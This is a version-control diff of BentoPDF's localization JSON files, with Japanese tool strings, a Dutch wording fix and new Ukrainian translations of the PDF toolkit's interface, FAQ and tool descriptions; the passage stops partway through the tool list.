"certificateSection": "証明書",
"uploadCert": "証明書のアップロード (.pfx, .p12)",
"certPassword": "証明書のパスワード",
"certPasswordPlaceholder": "証明書のパスワードを入力してください",
"certInfo": "証明書情報",
"certSubject": "証明書の所有者",
"certIssuer": "発行者",
"certValidity": "有効期間",
"signatureDetails": "署名の詳細(オプション)",
"reason": "署名理由",
"reasonPlaceholder": "例: この文書を承認します",
"location": "地域",
"locationPlaceholder": "例: アメリカ、ニューヨーク",
"contactInfo": "連絡先情報",
"contactPlaceholder": "例: [email protected]",
"applySignature": "デジタル署名を適用する",
"successMessage": "PDFは正常に署名されました。署名は任意のPDFリーダーで検証できます。"
},
"validateSignaturePdf": {
"name": "PDF署名を検証する",
"pageTitle": "PDF 署名を検証する - デジタル署名を検証する | BentoPDF",
"subtitle": "PDFファイルのデジタル署名を検証します。証明書の有効性を確認、署名者の詳細を表示し、文書の整合性を確認します。すべての処理はブラウザ内で行われます。"
},
"timestampPdf": {
"name": "タイムスタンプPDF",
"pageTitle": "タイムスタンプPDFオンライン無料 - RFC 3161ドキュメント タイムスタンプ | BentoPDF",
"subtitle": "信頼できる Time Stamp Authority(TSA) サーバーを使用して、RFC 3161ドキュメントのタイムスタンプをPDFに追加します。文書が特定の時点で存在していたことを証明します。証明書は必要ありません。",
"tsaSectionTitle": "タイムスタンプサーバー(TSA)",
"selectTsa": "TSAサーバーを選択してください",
"applyTimestamp": "タイムスタンプを適用する",
"successMessage": "PDFにタイムスタンプが正常に記録されました。タイムスタンプは、Adobe Acrobatおよびその他のPDFリーダーで確認できます。"
},
"emailToPdf": {
"name": "電子メールからPDF",
"subtitle": "電子メールファイル(EML, MSG)をPDF形式に変換します。 Outlookのエクスポートと標準の電子メール形式をサポートします。",
"acceptedFormats": "EML, MSGファイル",
"convertButton": "PDFに変換"
},
"fontToOutline": {
"name": "フォントをアウトライン化",
"subtitle": "すべてのデバイス間で一貫したレンダリングを行うために、すべてのフォントをベクターアウトラインに変換します。"
},
"deskewPdf": {
"name": "PDFの傾き補正",
"subtitle": "OpenCVを使用して傾いたスキャンページを自動的にまっすぐにします。"
},
"pdfToWord": {
"name": "PDFからWord",
"subtitle": "PDFファイルを編集可能なWordドキュメントに変換します。"
},
"extractImages": {
"name": "画像の抽出",
"subtitle": "PDFファイルからすべての埋め込み画像を抽出します。"
},
"pdfToMarkdown": {
"name": "PDFからマークダウン",
"subtitle": "PDFのテキストと表をMarkdown形式に変換します。"
},
"preparePdfForAi": {
"name": "AI用のPDFを準備する",
"subtitle": "RAG/LLMパイプライン向けにPDFコンテンツをLlamaIndex JSON形式で抽出する。"
},
"pdfOcg": {
"name": "PDF OCG",
"subtitle": "PDF内のOCGレイヤーを表示、切り替え、追加、削除します。"
},
"pdfToPdfa": {
"name": "PDFからPDF/A",
"subtitle": "長期保存のためにPDFをPDF/A形式に変換します。"
},
"rasterizePdf": {
"name": "PDFの画像化",
"subtitle": "PDFを画像ベースのPDFに変換します。レイヤーを平坦化し選択可能なテキストを削除します。"
},
"pdfWorkflow": {
"name": "PDFワークフロービルダー",
"subtitle": "ビジュアル ノード エディターを使用してカスタムPDF処理パイプラインを構築します。",
"nodes": "ノード",
"searchNodes": "ノードを検索...",
"run": "実行",
"clear": "クリア",
"save": "保存",
"load": "読み込む",
"export": "エクスポート",
"import": "インポート",
"ready": "準備完了",
"settings": "設定",
"processing": "処理中...",
"saveTemplate": "テンプレートの保存",
"templateName": "テンプレート名",
"templatePlaceholder": "例: 請求書のワークフロー",
"cancel": "キャンセル",
"loadTemplate": "テンプレートのロード",
"noTemplates": "まだテンプレートが保存されていません。",
"ok": "OK",
"workflowCompleted": "ワークフローが完了しました",
"errorDuringExecution": "実行中のエラー",
"addNodeError": "ワークフローを実行するには1つ以上のノードを追加します。",
"needInputOutput": "ワークフローを実行するには1つ以上の入力ノードと1つの出力ノードが必要です。",
"enterName": "名前を入力してください。",
"templateExists": "この名前のテンプレートはすでに存在します。",
"templateSaved": "テンプレート「{{name}}」が保存されました。",
"templateLoaded": "テンプレート「{{name}}」がロードされました。",
"failedLoadTemplate": "テンプレートの読み込みに失敗しました。",
"noSettings": "このノードには構成可能な設定がありません。",
"advancedSettings": "詳細設定"
},
"pdfOverlay": {
"name": "PDFオーバーレイ",
"subtitle": "あるPDFから別のPDFにページをオーバーレイまたはアンダーレイします。",
"basePdfLabel": "基準PDF",
"uploadBasePdf": "基準PDFをアップロードする",
"overlayPdfLabel": "オーバーレイ / アンダーレイPDF",
"uploadOverlayPdf": "オーバーレイ / アンダーレイPDFのアップロード",
"modeLabel": "モード",
"overlayOption": "オーバーレイ(ページの上部)",
"underlayOption": "アンダーレイ(ページの裏)",
"pageRangeLabel": "ページに適用(オプション)",
"pageRangeHint": "最後のページには「z」を使用します。すべてのページに適用するには、空のままにします。",
"repeatLabel": "基準が長い場合は、ループのオーバーレイ/アンダーレイページを繰り返し表示する",
"processButton": "オーバーレイ / アンダーレイの適用",
"howItWorksUploadTitle": "2つのPDFをアップロードする",
"howItWorksUploadDescription": "基準PDFとオーバーレイまたはアンダーレイしたいPDFをアップロードします。",
"howItWorksModeTitle": "モードの選択",
"howItWorksModeDescription": "オーバーレイ(上)またはアンダーレイ(下)を選択します。必要に応じてページ範囲を設定し繰り返します。",
"howItWorksDownloadTitle": "ダウンロード",
"howItWorksDownloadDescription": "オーバーレイまたはアンダーレイを適用したPDFをダウンロードします。",
"faqDifferenceQuestion": "オーバーレイとアンダーレイの違いは何ですか?",
"faqDifferenceAnswer": "オーバーレイは、基準PDFの上にページを配置します (透かしのように)。アンダーレイは、基準PDF(レターヘッドや背景など)の後ろにページを配置します。",
"faqSinglePageQuestion": "単一ページのPDFをすべてのページのオーバーレイとして使用できますか?",
"faqSinglePageAnswer": "はい! 「ループ」オプションを有効にすると、オーバーレイPDFページがすべてのベース ページにわたって繰り返されます。単一ページのウォーターマークはすべてのページに適用されます。",
"faqPrivacyQuestion": "私のファイルは非公開で安全ですか?",
"faqPrivacyAnswer": "絶対に!すべての処理はブラウザ内で行われます。ファイルがデバイスの外に出ることはなく、完全なプライバシーが確保されます。"
}
}
+3 -3
View File
@@ -366,9 +366,9 @@
"subtitle": "Selecteer een tool om te beginnen"
},
"disabledTool": {
"title": "Tool Niet Beschikbaar",
"title": "Tool niet beschikbaar",
"heading": "Deze tool is uitgeschakeld",
"message": "Deze tool is niet beschikbaar in uw implementatie. Neem contact op met uw beheerder voor meer informatie.",
"backHome": "Terug naar Home"
"message": "Deze tool is niet beschikbaar in jouw implementatie. Neem contact op met je beheerder voor meer informatie.",
"backHome": "Terug naar Thuis"
}
}
+373
View File
@@ -0,0 +1,373 @@
{
"nav": {
"home": "Головна",
"about": "Про нас",
"contact": "Контакти",
"licensing": "Ліцензія",
"allTools": "Усі інструменти",
"openMainMenu": "Відкрити головне меню",
"language": "Мова"
},
"donation": {
"message": "Подобається BentoPDF? Допоможіть нам залишатися безкоштовними та з відкритим кодом!",
"button": "Підтримати"
},
"hero": {
"title": "",
"pdfToolkit": "Набір PDF-інструментів",
"builtForPrivacy": "створений з урахуванням конфіденційності",
"noSignups": "Без реєстрації",
"unlimitedUse": "Без обмежень",
"worksOffline": "Працює офлайн",
"startUsing": "Почати зараз"
},
"usedBy": {
"title": "Використовується компаніями та людьми, які працюють у"
},
"features": {
"title": "Чому обирають",
"bentoPdf": "BentoPDF?",
"noSignup": {
"title": "Без реєстрації",
"description": "Почніть одразу — без акаунтів і email."
},
"noUploads": {
"title": "Без завантаження на сервер",
"description": "100% обробка на вашому пристрої — файли не покидають його."
},
"foreverFree": {
"title": "Завжди безкоштовно",
"description": "Усі інструменти без обмежень, без пробних періодів і платних стін."
},
"noLimits": {
"title": "Без обмежень",
"description": "Користуйтеся скільки завгодно — без прихованих лімітів."
},
"batchProcessing": {
"title": "Пакетна обробка",
"description": "Обробляйте необмежену кількість PDF за один раз."
},
"lightningFast": {
"title": "Блискавична швидкість",
"description": "Миттєва обробка PDF без очікування та затримок."
}
},
"tools": {
"title": "Почніть роботу з",
"toolsLabel": "інструментами",
"subtitle": "Оберіть інструмент, щоб відкрити завантаження файлів",
"searchPlaceholder": "Пошук інструмента (наприклад, «розділити», «організувати»...)",
"backToTools": "Назад до інструментів",
"firstLoadNotice": "Перший запуск може зайняти трохи часу — завантажується модуль обробки. Після цього все працюватиме миттєво."
},
"upload": {
"clickToSelect": "Натисніть, щоб вибрати файл",
"orDragAndDrop": "або перетягніть файл",
"pdfOrImages": "PDF або зображення",
"filesNeverLeave": "Ваші файли не покидають ваш пристрій.",
"addMore": "Додати ще файли",
"clearAll": "Очистити все",
"clearFiles": "Очистити файли",
"hints": {
"singlePdf": "Один PDF-файл",
"pdfFile": "PDF-файл",
"multiplePdfs2": "Кілька PDF-файлів (щонайменше 2)",
"bmpImages": "Зображення BMP",
"oneOrMorePdfs": "Один або кілька PDF-файлів",
"pdfDocuments": "PDF-документи",
"oneOrMoreCsv": "Один або кілька CSV-файлів",
"multiplePdfsSupported": "Підтримуються кілька PDF-файлів",
"singleOrMultiplePdfs": "Підтримується один або кілька PDF-файлів",
"singlePdfFile": "Один PDF-файл",
"pdfWithForms": "PDF-файл із формами",
"heicImages": "Зображення HEIC/HEIF",
"jpgImages": "Зображення JPG, JPEG, JP2, JPX",
"pdfsOrImages": "PDF або зображення",
"oneOrMoreOdt": "Один або кілька ODT-файлів",
"singlePdfOnly": "Лише один PDF-файл",
"pdfFiles": "PDF-файли",
"multiplePdfs": "Кілька PDF-файлів",
"pngImages": "Зображення PNG",
"pdfFilesOneOrMore": "PDF-файли (один або більше)",
"oneOrMoreRtf": "Один або кілька RTF-файлів",
"svgGraphics": "Графіка SVG",
"tiffImages": "Зображення TIFF",
"webpImages": "Зображення WebP"
}
},
"howItWorks": {
"title": "Як це працює",
"step1": "Натисніть або перетягніть файл, щоб почати",
"step2": "Натисніть кнопку обробки",
"step3": "Одразу збережіть готовий файл"
},
"relatedTools": {
"title": "Схожі PDF-інструменти"
},
"loader": {
"processing": "Обробка..."
},
"alert": {
"title": "Сповіщення",
"ok": "ОК"
},
"preview": {
"title": "Попередній перегляд документа",
"downloadAsPdf": "Завантажити як PDF",
"close": "Закрити"
},
"settings": {
"title": "Налаштування",
"shortcuts": "Гарячі клавіші",
"preferences": "Параметри",
"displayPreferences": "Налаштування відображення",
"searchShortcuts": "Пошук гарячих клавіш...",
"shortcutsInfo": "Натисніть і утримуйте клавіші, щоб задати комбінацію. Зміни зберігаються автоматично.",
"shortcutsWarning": "⚠️ Уникайте стандартних комбінацій браузера (Ctrl/Cmd+W, Ctrl/Cmd+T, Ctrl/Cmd+N тощо), вони можуть працювати некоректно.",
"import": "Імпорт",
"export": "Експорт",
"resetToDefaults": "Скинути до стандартних",
"fullWidthMode": "Повна ширина",
"fullWidthDescription": "Використовувати всю ширину екрана замість центрування інтерфейсу",
"settingsAutoSaved": "Налаштування зберігаються автоматично",
"clickToSet": "Натисніть, щоб задати",
"pressKeys": "Натисніть клавіші...",
"warnings": {
"alreadyInUse": "Комбінація вже використовується",
"assignedTo": "вже призначена для:",
"chooseDifferent": "Будь ласка, оберіть іншу комбінацію.",
"reserved": "Попередження про зарезервовану комбінацію",
"commonlyUsed": "зазвичай використовується для:",
"unreliable": "Ця комбінація може працювати нестабільно або конфліктувати з браузером чи системою.",
"useAnyway": "Все одно використати?",
"resetTitle": "Скидання гарячих клавіш",
"resetMessage": "Ви впевнені, що хочете скинути всі гарячі клавіші до стандартних?<br><br>Цю дію неможливо скасувати.",
"importSuccessTitle": "Імпорт виконано",
"importSuccessMessage": "Гарячі клавіші успішно імпортовано!",
"importFailTitle": "Помилка імпорту",
"importFailMessage": "Не вдалося імпортувати гарячі клавіші. Невірний формат файлу."
}
},
"warning": {
"title": "Попередження",
"cancel": "Скасувати",
"proceed": "Продовжити"
},
"compliance": {
"title": "Ваші дані ніколи не покидають ваш пристрій",
"weKeep": "Ми зберігаємо",
"yourInfoSafe": "вашу інформацію в безпеці",
"byFollowingStandards": "дотримуючись міжнародних стандартів безпеки.",
"processingLocal": "Уся обробка відбувається локально на вашому пристрої.",
"gdpr": {
"title": "Відповідність GDPR",
"description": "Захищає персональні дані та приватність осіб у Європейському Союзі."
},
"ccpa": {
"title": "Відповідність CCPA",
"description": "Надає мешканцям Каліфорнії права щодо збору, використання та поширення їхніх персональних даних."
},
"hipaa": {
"title": "Відповідність HIPAA",
"description": "Встановлює вимоги до захисту чутливої медичної інформації в системі охорони здоров’я США."
}
},
"faq": {
"title": "Поширені",
"questions": "запитання",
"sectionTitle": "Поширені запитання",
"isFree": {
"question": "Чи справді BentoPDF безкоштовний?",
"answer": "Так, абсолютно. Усі інструменти BentoPDF на 100% безкоштовні — без обмежень на файли, без реєстрації та без водяних знаків. Ми вважаємо, що кожен має мати доступ до простих і потужних PDF-інструментів без платних обмежень."
},
"areFilesSecure": {
"question": "Чи безпечні мої файли? Де вони обробляються?",
"answer": "Ваші файли максимально захищені, оскільки вони ніколи не покидають ваш комп’ютер. Уся обробка відбувається прямо у вашому браузері (client-side). Ми не завантажуємо файли на сервер, тому ви повністю контролюєте свої документи."
},
"platforms": {
"question": "Чи працює це на Mac, Windows та мобільних пристроях?",
"answer": "Так! Оскільки BentoPDF працює повністю у браузері, він підтримується на будь-якій ОС із сучасним браузером — Windows, macOS, Linux, iOS та Android."
},
"gdprCompliant": {
"question": "Чи відповідає BentoPDF вимогам GDPR?",
"answer": "Так. BentoPDF повністю відповідає GDPR. Оскільки всі файли обробляються локально у браузері, а ми не збираємо та не передаємо дані на сервери, ми не маємо доступу до ваших файлів. Ви завжди контролюєте свої документи."
},
"dataStorage": {
"question": "Чи зберігаєте або відстежуєте ви мої файли?",
"answer": "Ні. Ми не зберігаємо, не відстежуємо і не логгуємо ваші файли. Усе відбувається у пам’яті браузера і зникає після закриття сторінки. Немає завантажень, історії чи серверів."
},
"different": {
"question": "Чим BentoPDF відрізняється від інших PDF-інструментів?",
"answer": "Більшість PDF-сервісів завантажують файли на сервер для обробки. BentoPDF цього не робить. Ми використовуємо сучасні веб-технології для обробки файлів прямо у браузері. Це забезпечує швидкість, конфіденційність і повний контроль."
},
"browserBased": {
"question": "Як обробка у браузері забезпечує безпеку?",
"answer": "Оскільки все працює у вашому браузері, файли ніколи не покидають пристрій. Це усуває ризики зламів серверів, витоків даних або несанкціонованого доступу. Ваші файли залишаються тільки у вас."
},
"analytics": {
"question": "Чи використовуєте ви cookies або аналітику?",
"answer": "Ми поважаємо вашу приватність. BentoPDF не відстежує персональні дані. Ми використовуємо Simple Analytics лише для анонімної статистики відвідувань. Ми бачимо кількість користувачів, але не знаємо, хто саме ви. Simple Analytics відповідає GDPR і поважає вашу приватність."
}
},
"testimonials": {
"title": "Що",
"users": "користувачі",
"say": "кажуть"
},
"support": {
"title": "Подобається моя робота?",
"description": "BentoPDF — це проєкт, створений із захопленням, щоб надати безкоштовний, приватний і потужний набір PDF-інструментів для всіх. Якщо він вам корисний — підтримайте його розвиток. Кожна кава має значення!",
"buyMeCoffee": "Пригостити кавою"
},
"footer": {
"copyright": "© 2026 BentoPDF. Усі права захищені.",
"version": "Версія",
"company": "Компанія",
"aboutUs": "Про нас",
"faqLink": "FAQ",
"contactUs": "Контакти",
"legal": "Правова інформація",
"termsAndConditions": "Умови використання",
"privacyPolicy": "Політика конфіденційності",
"followUs": "Слідкуйте за нами"
},
"merge": {
"title": "Об’єднання PDF",
"description": "Об’єднуйте файли повністю або вибирайте окремі сторінки для створення нового документа.",
"fileMode": "Режим файлів",
"pageMode": "Режим сторінок",
"howItWorks": "Як це працює:",
"fileModeInstructions": [
"Перетягніть файли, щоб змінити їх порядок.",
"У полі «Сторінки» для кожного файлу можна вказати діапазони (наприклад, «1-3, 5»).",
"Залиште поле порожнім, щоб додати всі сторінки."
],
"pageModeInstructions": [
"Усі сторінки завантажених PDF відображаються нижче.",
"Перетягуйте мініатюри сторінок, щоб задати потрібний порядок."
],
"mergePdfs": "Об’єднати PDF"
},
"common": {
"page": "Сторінка",
"pages": "Сторінки",
"of": "з",
"download": "Завантажити",
"cancel": "Скасувати",
"save": "Зберегти",
"delete": "Видалити",
"edit": "Редагувати",
"add": "Додати",
"remove": "Видалити",
"loading": "Завантаження...",
"loadingPageCount": "Завантаження сторінок...",
"error": "Помилка",
"success": "Успішно",
"file": "Файл",
"files": "Файли",
"close": "Закрити",
"convert": "Конвертувати"
},
"about": {
"hero": {
"title": "Ми вважаємо, що PDF-інструменти мають бути",
"subtitle": "швидкими, приватними та безкоштовними.",
"noCompromises": "Без компромісів."
},
"mission": {
"title": "Наша місія",
"description": "Надавати найповніший набір PDF-інструментів із повагою до приватності та без оплати. Ми віримо, що необхідні інструменти для роботи з документами мають бути доступні кожному."
},
"philosophy": {
"label": "Наша філософія",
"title": "Приватність понад усе",
"description": "У світі, де дані стали ресурсом, ми обрали інший підхід. Уся обробка відбувається у вашому браузері. Ваші файли не потрапляють на сервери, ми їх не бачимо і не відстежуємо вашу діяльність."
},
"whyBentopdf": {
"title": "Чому",
"speed": {
"title": "Швидкість",
"description": "Жодних завантажень на сервер. Обробка відбувається миттєво прямо у браузері."
},
"free": {
"title": "Повністю безкоштовно",
"description": "Без підписок, пробних періодів і прихованих платежів."
},
"noAccount": {
"title": "Без акаунта",
"description": "Почніть одразу — без email і реєстрації."
},
"openSource": {
"title": "Open Source",
"description": "Створено з використанням відкритих бібліотек і з орієнтацією на прозорість."
}
},
"cta": {
"title": "Готові почати?",
"description": "Приєднуйтесь до тисяч користувачів BentoPDF.",
"button": "Переглянути всі інструменти"
}
},
"contact": {
"title": "Зв’яжіться з нами",
"subtitle": "Ми раді зворотному зв’язку — питання, ідеї чи пропозиції.",
"email": "Напишіть нам на email:"
},
"licensing": {
"title": "Ліцензування для",
"subtitle": "Оберіть ліцензію відповідно до ваших потреб."
},
"multiTool": {
"uploadPdfs": "Завантажити PDF",
"upload": "Завантажити",
"addBlankPage": "Додати порожню сторінку",
"edit": "Редагування:",
"undo": "Скасувати",
"redo": "Повторити",
"reset": "Скинути",
"selection": "Вибір:",
"selectAll": "Вибрати все",
"deselectAll": "Зняти вибір",
"rotate": "Повернути:",
"rotateLeft": "Ліворуч",
"rotateRight": "Праворуч",
"transform": "Дії:",
"duplicate": "Дублювати",
"split": "Розділити",
"clear": "Очистити:",
"delete": "Видалити",
"download": "Завантажити:",
"downloadSelected": "Завантажити вибране",
"exportPdf": "Експортувати PDF",
"uploadPdfFiles": "Виберіть PDF-файли",
"dragAndDrop": "Перетягніть PDF або натисніть для вибору",
"selectFiles": "Вибрати файли",
"renderingPages": "Рендеринг сторінок...",
"actions": {
"duplicatePage": "Дублювати сторінку",
"deletePage": "Видалити сторінку",
"insertPdf": "Вставити PDF після цієї сторінки",
"toggleSplit": "Розділити після цієї сторінки"
},
"pleaseWait": "Зачекайте",
"pagesRendering": "Сторінки ще обробляються...",
"noPagesSelected": "Сторінки не вибрані",
"selectOnePage": "Оберіть хоча б одну сторінку.",
"noPages": "Немає сторінок",
"noPagesToExport": "Немає сторінок для експорту.",
"renderingTitle": "Генерація прев’ю сторінок",
"errorRendering": "Помилка рендерингу",
"error": "Помилка",
"failedToLoad": "Не вдалося завантажити"
},
"simpleMode": {
"title": "PDF інструменти",
"subtitle": "Оберіть інструмент для початку"
},
"disabledTool": {
"title": "Інструмент недоступний",
"heading": "Цей інструмент вимкнено",
"message": "Інструмент недоступний у цій конфігурації. Зверніться до адміністратора.",
"backHome": "На головну"
}
}
+862
View File
@@ -0,0 +1,862 @@
{
"categories": {
"popularTools": "Популярні інструменти",
"editAnnotate": "Редагування та анотації",
"convertToPdf": "Конвертація у PDF",
"convertFromPdf": "Конвертація з PDF",
"organizeManage": "Організація та керування",
"optimizeRepair": "Оптимізація та відновлення",
"securePdf": "Захист PDF"
},
"pdfMultiTool": {
"name": "PDF мультиінструмент",
"subtitle": "Об’єднання, розділення, впорядкування, видалення, обертання, додавання порожніх сторінок, витяг та дублювання — все в одному інтерфейсі."
},
"mergePdf": {
"name": "Об’єднати PDF",
"subtitle": "Об’єднати кілька PDF у один файл. Закладки зберігаються."
},
"splitPdf": {
"name": "Розділити PDF",
"subtitle": "Витягнути діапазон сторінок у новий PDF."
},
"compressPdf": {
"name": "Стиснення PDF",
"subtitle": "Зменшити розмір PDF-файлу.",
"algorithmLabel": "Алгоритм стиснення",
"condense": "Condense (Рекомендовано)",
"photon": "Photon (Для PDF із великою кількістю зображень)",
"condenseInfo": "Condense використовує розширене стиснення: видаляє зайві дані, оптимізує зображення та шрифти. Найкращий варіант для більшості PDF.",
"photonInfo": "Photon перетворює сторінки на зображення. Використовуйте для сканованих PDF або документів із великою кількістю фото.",
"photonWarning": "Увага: текст стане недоступним для виділення, а посилання перестануть працювати.",
"levelLabel": "Рівень стиснення",
"light": "Легке (Збереження якості)",
"balanced": "Збалансоване (Рекомендовано)",
"aggressive": "Агресивне (Менший розмір)",
"extreme": "Максимальне (Найсильніше стиснення)",
"grayscale": "Перетворити у відтінки сірого",
"grayscaleHint": "Зменшує розмір файлу шляхом видалення кольорової інформації",
"customSettings": "Користувацькі налаштування",
"customSettingsHint": "Тонке налаштування параметрів стиснення:",
"outputQuality": "Якість виходу",
"resizeImagesTo": "Змінити розмір зображень до",
"onlyProcessAbove": "Обробляти лише файли більше ніж",
"removeMetadata": "Видалити метадані",
"subsetFonts": "Оптимізувати шрифти (видалити невикористані символи)",
"removeThumbnails": "Видалити вбудовані мініатюри",
"compressButton": "Стиснути PDF"
},
"pdfEditor": {
"name": "Редактор PDF",
"subtitle": "Додавати анотації, виділяти, редагувати, коментувати, додавати фігури/зображення, шукати та переглядати PDF."
},
"jpgToPdf": {
"name": "JPG у PDF",
"subtitle": "Створити PDF із зображень JPG, JPEG та JPEG2000 (JP2/JPX)."
},
"signPdf": {
"name": "Підписати PDF",
"subtitle": "Намалювати, ввести або завантажити свій підпис."
},
"cropPdf": {
"name": "Обрізати PDF",
"subtitle": "Обрізати поля кожної сторінки у PDF."
},
"extractPages": {
"name": "Витяг сторінок",
"subtitle": "Зберегти вибрані сторінки як нові файли."
},
"duplicateOrganize": {
"name": "Дублювати та впорядкувати",
"subtitle": "Дублювати, змінювати порядок і видаляти сторінки."
},
"deletePages": {
"name": "Видалити сторінки",
"subtitle": "Видалити вибрані сторінки з документа."
},
"editBookmarks": {
"name": "Редагувати закладки",
"subtitle": "Додавати, змінювати, імпортувати, видаляти та витягувати закладки PDF."
},
"tableOfContents": {
"name": "Зміст",
"subtitle": "Створити сторінку змісту на основі закладок PDF."
},
"pageNumbers": {
"name": "Нумерація сторінок",
"subtitle": "Додати номери сторінок у документ."
},
"addPageLabels": {
"name": "Додати нумерацію сторінок",
"subtitle": "Застосувати мітки сторінок PDF із римськими цифрами, префіксами та власними початковими значеннями.",
"uploadHint": "PDF-файл",
"howLabelsWorkTitle": "Як працюють мітки",
"howLabelsWorkStep1": "Залиште «Діапазон сторінок» порожнім, щоб застосувати до всіх сторінок.",
"howLabelsWorkStep2": "Використовуйте стилі, наприклад римські цифри для вступної частини та звичайну нумерацію для основного тексту.",
"howLabelsWorkStep3": "Використовуйте префікс із початковим значенням 0, щоб отримати мітки на кшталт A-0, A-1, A-2.",
"howLabelsWorkStep4": "Увімкніть продовження нумерації, якщо правило має розриви, наприклад 1-9,30-40 або odd.",
"labelRulesTitle": "Правила нумерації",
"addRule": "Додати правило",
"removeExistingLabels": "Видалити існуючі мітки сторінок перед застосуванням нових правил",
"cpdfNote": "Цей інструмент використовує CoherentPDF у браузері. Якщо CoherentPDF не налаштований, з’явиться запит на налаштування у WASM Settings.",
"processButton": "Додати мітки сторінок",
"howItWorksUploadTitle": "Завантаження файлу",
"howItWorksUploadDescription": "Оберіть PDF, для якого потрібно змінити нумерацію.",
"howItWorksDefineTitle": "Налаштування правил",
"howItWorksDefineDescription": "Створіть одне або кілька правил нумерації з діапазонами, стилями, префіксами та початковими значеннями.",
"howItWorksDownloadTitle": "Завантаження",
"howItWorksDownloadDescription": "Збережіть оновлений PDF із новими мітками сторінок.",
"relatedToolsTitle": "Схожі інструменти PDF",
"faqWhatIsQuestion": "Що таке мітка сторінки?",
"faqWhatIsAnswer": "Мітка сторінки — це нумерація, яка відображається у переглядачі PDF (мініатюри, навігація, друк). Вона не додає текст безпосередньо на сторінку.",
"faqMixQuestion": "Чи можна поєднувати римські та звичайні цифри?",
"faqMixAnswer": "Так. Додайте кілька правил, наприклад 1-4 з LowercaseRoman і 5-20 з DecimalArabic.",
"faqPrivacyQuestion": "Чи залишаються мої файли приватними?",
"faqPrivacyAnswer": "Так. Обробка відбувається у вашому браузері через CoherentPDF WASM. Файл не покидає ваш пристрій.",
"invalidFileTitle": "Невірний файл",
"invalidFileMessage": "Будь ласка, завантажте коректний PDF-файл.",
"loadingPdf": "Завантаження PDF...",
"protectedPdfTitle": "Захищений PDF",
"protectedPdfMessage": "Цей PDF захищений паролем. Спочатку скористайтесь інструментом розблокування або зміни прав доступу.",
"loadErrorMessage": "Не вдалося завантажити PDF. Можливо, файл пошкоджений або захищений.",
"fileMeta": "{{size}} • {{count}} сторінок",
"ruleTitle": "Правило {{number}}",
"pageRangeLabel": "Діапазон сторінок",
"pageRangePlaceholder": "Усі сторінки або, наприклад, 1-4, 7, odd",
"labelStyleLabel": "Стиль нумерації",
"labelPrefixLabel": "Префікс",
"labelPrefixPlaceholder": "Необов’язково, наприклад A-",
"startValueLabel": "Початкове значення",
"continueNumbering": "Продовжувати нумерацію між розірваними діапазонами",
"examplesNote": "Приклади: 1-4 для римської нумерації вступу, 15-20 з префіксом A- і стартом 0, або odd з увімкненим продовженням.",
"uploadFirstMessage": "Спочатку завантажте PDF-файл.",
"applyingLabels": "Застосування міток сторінок...",
"invalidRangeMessage": "Правило {{number}} має некоректний діапазон: {{range}}",
"allPages": "усі сторінки",
"emptyOutputMessage": "CoherentPDF створив порожній файл.",
"successMessage": "Мітки сторінок успішно додано!",
"processErrorMessage": "Не вдалося додати мітки сторінок.",
"styleOptions": {
"DecimalArabic": "Арабські цифри",
"LowercaseRoman": "Римські (малі)",
"UppercaseRoman": "Римські (великі)",
"LowercaseLetters": "Літери (малі)",
"UppercaseLetters": "Літери (великі)",
"NoLabelPrefixOnly": "Тільки префікс (без нумерації)"
}
},
"batesNumbering": {
"name": "Нумерація Bates",
"subtitle": "Додати послідовну нумерацію Bates до одного або кількох PDF-файлів."
},
"addWatermark": {
"name": "Додати водяний знак",
"subtitle": "Накласти текст або зображення поверх сторінок PDF.",
"applyToAllPages": "Застосувати до всіх сторінок"
},
"headerFooter": {
"name": "Колонтитули",
"subtitle": "Додати текст у верхній та нижній частині сторінок."
},
"invertColors": {
"name": "Інвертувати кольори",
"subtitle": "Створити «темний режим» для PDF."
},
"scannerEffect": {
"name": "Ефект сканера",
"subtitle": "Зробити PDF схожим на сканований документ.",
"scanSettings": "Налаштування сканування",
"colorspace": "Колірний простір",
"gray": "Сірий",
"border": "Рамка",
"rotate": "Обертання",
"rotateVariance": "Варіація обертання",
"brightness": "Яскравість",
"contrast": "Контраст",
"blur": "Розмиття",
"noise": "Шум",
"yellowish": "Жовтуватий відтінок",
"resolution": "Роздільна здатність",
"processButton": "Застосувати ефект сканера"
},
"adjustColors": {
"name": "Корекція кольору",
"subtitle": "Тонке налаштування яскравості, контрасту, насиченості та інших параметрів у PDF.",
"colorSettings": "Налаштування кольору",
"brightness": "Яскравість",
"contrast": "Контраст",
"saturation": "Насиченість",
"hueShift": "Зсув відтінку",
"temperature": "Температура",
"tint": "Тон",
"gamma": "Гамма",
"sepia": "Сепія",
"processButton": "Застосувати корекцію кольору"
},
"backgroundColor": {
"name": "Колір фону",
"subtitle": "Змінити колір фону PDF."
},
"changeTextColor": {
"name": "Змінити колір тексту",
"subtitle": "Змінити колір тексту у PDF."
},
"addStamps": {
"name": "Додати штампи",
"subtitle": "Додати графічні штампи до PDF через панель анотацій.",
"usernameLabel": "Ім’я для штампу",
"usernamePlaceholder": "Введіть ваше ім’я (для штампів)",
"usernameHint": "Це ім’я буде відображатися на створених штампах."
},
"removeAnnotations": {
"name": "Видалити анотації",
"subtitle": "Видалити коментарі, виділення та посилання."
},
"pdfFormFiller": {
"name": "Заповнення PDF-форм",
"subtitle": "Заповнювати форми прямо в браузері. Підтримуються також XFA-форми."
},
"createPdfForm": {
"name": "Створити PDF-форму",
"subtitle": "Створювати заповнювані PDF-форми за допомогою drag-and-drop полів."
},
"removeBlankPages": {
"name": "Видалити порожні сторінки",
"subtitle": "Автоматично визначати та видаляти порожні сторінки.",
"sensitivityHint": "Вище значення — суворіше визначення (лише повністю порожні сторінки). Нижче — допускаються сторінки з невеликим вмістом."
},
"imageToPdf": {
"name": "Зображення у PDF",
"subtitle": "Конвертувати JPG, PNG, BMP, GIF, TIFF, PNM, PGM, PBM, PPM, PAM, JXR, JPX, JP2, PSD, SVG, HEIC, WebP у PDF."
},
"pngToPdf": {
"name": "PNG у PDF",
"subtitle": "Створити PDF із одного або кількох PNG-зображень."
},
"webpToPdf": {
"name": "WebP у PDF",
"subtitle": "Створити PDF із одного або кількох WebP-зображень."
},
"svgToPdf": {
"name": "SVG у PDF",
"subtitle": "Створити PDF із одного або кількох SVG-зображень."
},
"bmpToPdf": {
"name": "BMP у PDF",
"subtitle": "Створити PDF із одного або кількох BMP-зображень."
},
"heicToPdf": {
"name": "HEIC у PDF",
"subtitle": "Створити PDF із одного або кількох HEIC-зображень."
},
"tiffToPdf": {
"name": "TIFF у PDF",
"subtitle": "Створити PDF із одного або кількох TIFF-зображень."
},
"textToPdf": {
"name": "Текст у PDF",
"subtitle": "Конвертувати текстовий файл у PDF."
},
